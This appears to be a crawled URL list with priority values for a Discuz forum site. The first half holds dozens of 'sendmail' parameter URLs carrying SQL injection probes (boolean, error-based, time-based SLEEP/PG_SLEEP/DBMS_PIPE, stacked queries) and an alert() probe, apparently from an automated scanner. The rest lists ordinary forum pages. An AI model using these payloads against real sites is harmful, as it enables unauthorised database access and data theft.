http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20'QM'='QM 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20'Sg'%20LIKE%20'Qg 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20'cW'%20LIKE%20'cW 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(47=61)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20'h4'='h4 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20'eS'='eS 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%20('cb'%20LIKE%20'BH 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%20('iV'%20LIKE%20'iV 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%2017=39%20AND%20('WW'='WW 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%2032=32%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20OR%2045=72%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20OR%2081=81%20AND%20('2B'='2B 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=74)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20('ll'='ll 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=83)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20('4q'='4q 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=84)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20(19=19 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20(89=89 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x73656E646D61696C%20ELSE%2011*(SELECT%2011%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%200x73656E646D61696C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x73656E646D61696C%20ELSE%2042*(SELECT%2042%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(63=15)%20THEN%200x73656E646D61696C%20ELSE%2063*(SELECT%2063%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(68=66)%20THEN%200x73656E646D61696C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20(CASE%20WHEN%20(91=96)%20THEN%200x73656E646D61696C%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail6633x3X6 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmailAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmailAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmailJyI%3D 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmailalert(42873) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmaile360 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=set%7Cset&set 0.0001 http://www.cncml.com/home.php?mod=rss&uid=1 0.0001 http://www.cncml.com/home.php?mod=space&do=album 0.0003 http://www.cncml.com/home.php?mod=space&do=home 0.0001 http://www.cncml.com/home.php?mod=space&do=share 0.0001 http://www.cncml.com/home.php?mod=space&do=share&view=all&type=all 0.0001 http://www.cncml.com/home.php?mod=space&do=share&view=all&type=article 0.0001 http://www.cncml.com/home.php?mod=space&do=share&view=all&type=flash 0.0001 http://www.cncml.com/home.php?mod=space&do=share&view=all&type=pic 0.0001 http://www.cncml.com/home.php?mod=space&do=share&view=all&type=space 0.0001 http://www.cncml.com/home.php?mod=space&uid=1 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=friend 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=friend&view=me 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=profile 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=profile&from=space 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=album 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=all 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=article 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=flash 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=link 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=music 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=pic 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=poll 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=space 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=thread 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=share&view=me&from=space&type=video 0.0001 http://www.cncml.com/home.php?mod=space&uid=1&do=wall&from=space 0.0001 http://www.cncml.com/home.php?mod=space&uid=100 0.0001 http://www.cncml.com/home.php?mod=space&uid=87&do=friend 0.0001 http://www.cncml.com/home.php?mod=space&uid=91&do=friend 0.0001 http://www.cncml.com/home.php?mod=space&uid=93&do=friend 0.0001 http://www.cncml.com/home.php?mod=space&uid=93&do=profile 0.0001 http://www.cncml.com/home.php?mod=space&uid=95&do=friend 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=album&op=saveforumphoto&aid=81&handlekey=savephoto_81 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=album&op=saveforumphoto&aid=83&handlekey=savephoto_83 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=album&op=saveforumphoto&aid=85&handlekey=savephoto_85 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=follow&op=add&hash=468365e7&fuid= 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=follow&op=add&hash=4bd81051&fuid= 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=follow&op=del&fuid= 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=152 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=173 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=204 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=206 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=207 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=208 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=209 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=215 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=216 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=217 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=218 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=219 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=220 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=224 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=1&thread_id=25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=152 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=173 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=204 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=206 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=207 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=208 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=209 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=215 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=216 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=217 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=218 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=219 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=220 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=224 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=2&thread_id=25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=152 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=173 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=204 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=206 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=207 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=208 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=209 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=215 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=216 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=217 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=218 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=219 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=220 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=224 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp&pluginop=share&sh_type=4&thread_id=25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=pm&op=checknewpm&rand=1453106726 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=pm&op=checknewpm&rand=1453106766 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=152 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=173 0.0001 